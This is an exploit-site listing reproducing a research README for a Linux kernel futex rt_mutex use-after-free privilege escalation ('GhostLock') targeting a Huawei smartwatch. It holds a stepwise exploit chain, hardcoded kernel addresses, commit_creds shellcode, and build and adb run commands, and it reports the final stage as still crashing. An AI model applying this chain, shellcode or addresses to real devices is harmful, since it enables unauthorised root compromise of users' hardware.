Sploitus

Exploit for Use After Free in Linux Linux Kernel

githubexploit Β· 2026-08-18

Exploit Code

README150 lines
## https://sploitus.com/exploit?id=15EAA031-95E5-5122-9C6C-38988B8C8280
# CVE-2026-43499 (GhostLock) β€” ARM32 Kernel Privilege Escalation Research

Linux kernel futex PI rt_mutex Use-After-Free vulnerability research and exploit
development targeting **Huawei Watch 4 Pro (MDS-AL00)**, Snapdragon SW5100,
armv7l, kernel 5.4.210.

## Vulnerability

`remove_waiter()` in kernel/locking/rt_mutex.c incorrectly uses `current`
instead of `waiter->task` during proxy-lock rollback, failing to clear
`pi_blocked_on` on the waiter task. This leaves a dangling pointer from
`task_struct` to a stack-allocated `rt_mutex_waiter` after the waiter's kernel
stack frame is freed β€” a classic stack Use-After-Free.

## Exploit Strategy

1. **Dangling pointer** β€” Trigger EDEADLK rollback via `futex(FUTEX_CMP_REQUEUE_PI)`
   across three threads; waiter's `pi_blocked_on` points to freed stack.
2. **Stack spray (stamp)** β€” Use `prctl(PR_SET_NAME)` (option 15, unprivileged)
   to copy 15 bytes of controlled data onto the kernel stack, overwriting the
   fake waiter's `task`/`lock`/`prio` fields.
3. **Write primitive** β€” `sched_setattr()` triggers PI chain walk; the fake
   waiter is enqueued into a forged `rt_mutex` overlapping a kernel
   `file_operations` struct. Red-black tree insertion writes the waiter's
   kernel stack address into `fops->unlocked_ioctl`.
4. **Code execution** β€” Re-stamp the waiter with position-independent ARM
   shellcode; open a world-accessible character device and call `ioctl()`,
   which dispatches through the overwritten `unlocked_ioctl` pointer into the
   shellcode on the executable kernel stack.
5. **Privilege escalation** β€” Shellcode calls `commit_creds(waiter)` where the
   waiter's first fields (set by `rb_insert_color`) form a fake `struct cred`
   with uid/gid = 0.

## Current Status

- UAF trigger: **working** (verified on device)
- Stack stamp via prctl: **working**
- Single kernel stack-address write primitive: **working**
  (overwrites `fops->unlocked_ioctl` with waiter stack address)
- Kernel stack confirmed executable (no PXN/NX on BSS/stack region)
- ioctl dispatch into shellcode: **causes device reboot** β€” under investigation
  (likely sentinel UNPREDICTABLE instruction or register corruption in the
   rb_insert_color / chain-walk path on Cortex-A7)

## Target Device

| Property | Value |
|---|---|
| Device | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7, armv7l) |
| Kernel | 5.4.210 (32-bit ARM) |
| KASLR | disabled |
| PAN/SMAP | not present |
| PXN | absent on 0xc1b00000+ (stack/BSS executable) |
| CFI/PAC | not present |

## Key Kernel Addresses

```
kernel base          0xC0008000
syscall table        0xc0101264
do_vfs_ioctl         0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds         0xc014cac8  (fast path, bx lr clean return)
rt_mutex_enqueue     0xc019c660
rb_insert_color      0xc104a918
init_task            0xc1b11640
init_cred            0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK            0xc141f5d4  (null_fops + 0x24)
write target         0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
```

## Repository Layout

```
.
β”œβ”€β”€ README.md                  # This file
β”œβ”€β”€ boot.img                   # Target device boot image (32 MB)
β”œβ”€β”€ exploit/
β”‚   β”œβ”€β”€ ghostlock_arm32.c      # Main ARM32 exploit source
β”‚   β”œβ”€β”€ ghostlock_arm32.h      # Exploit definitions header
β”‚   β”œβ”€β”€ ghostlock_arm32        # Compiled static ARM binary
β”‚   β”œβ”€β”€ ghostlock_poc1.c       # Initial crash POC
β”‚   └── nebula_poc.c           # Nebula team reference POC
β”œβ”€β”€ kernel/
β”‚   β”œβ”€β”€ kernel_raw.bin         # Uncompressed kernel binary (28 MB)
β”‚   └── kallsyms_parsed.txt    # Extracted kernel symbol table
β”œβ”€β”€ analysis/                  # 670+ Capstone-based reverse engineering
β”‚   β”œβ”€β”€ *.py                   # scripts and disassembly outputs used
β”‚   └── *.txt                  # during the research process
└── references/
    β”œβ”€β”€ ghostlock/             # Earlier exploit iterations (PoC through
    β”‚   β”œβ”€β”€ src/               # tracepoint/cred/oneplus variants)
    β”‚   β”œβ”€β”€ bin/               # Compiled earlier versions
    β”‚   β”œβ”€β”€ old/               # Initial crash PoCs
    β”‚   β”œβ”€β”€ README.md
    β”‚   └── RESEARCH_NOTES.md
    └── ref_tc3650/            # TC3650 ARM32 reference exploit materials
```

## Building

```bash
arm-linux-gnueabihf-gcc -static -O2 -o ghostlock_arm32 ghostlock_arm32.c -lpthread
```

## Running

```bash
adb push ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
```

## Shellcode

12-byte position-independent ARM Thumb shellcode stamped at waiter+0x18:

```asm
sub r0, pc, #0x20      @ r0 = waiter (fake cred), PC-relative
ldr pc, [pc, #-4]      @ jump to commit_creds
.word 0xc014cac8       @ commit_creds address
```

`commit_creds()` fast path writes `current->cred = r0` and returns via `bx lr`
back into `do_vfs_ioctl`, which returns normally to userspace.

## file_operations Layout Note

This vendor kernel's `struct file_operations` has an extra 4-byte field at
offset +0x24 (between `poll` and `unlocked_ioctl`), shifting all subsequent
members by 4 bytes relative to standard Linux 5.4:

```
+0x04 llseek        +0x20 poll
+0x08 read          +0x24 
+0x0c write         +0x28 unlocked_ioctl
+0x10 read_iter     +0x2c compat_ioctl
+0x14 write_iter    +0x30 mmap
+0x18 iterate       +0x38 open
+0x1c iterate_shared +0x40 release
```

This was verified by disassembling ashmem and null fops handlers.

## Disclaimer

This repository is for **security research and education only**. Do not use
these techniques on devices you do not own or lack authorization to test.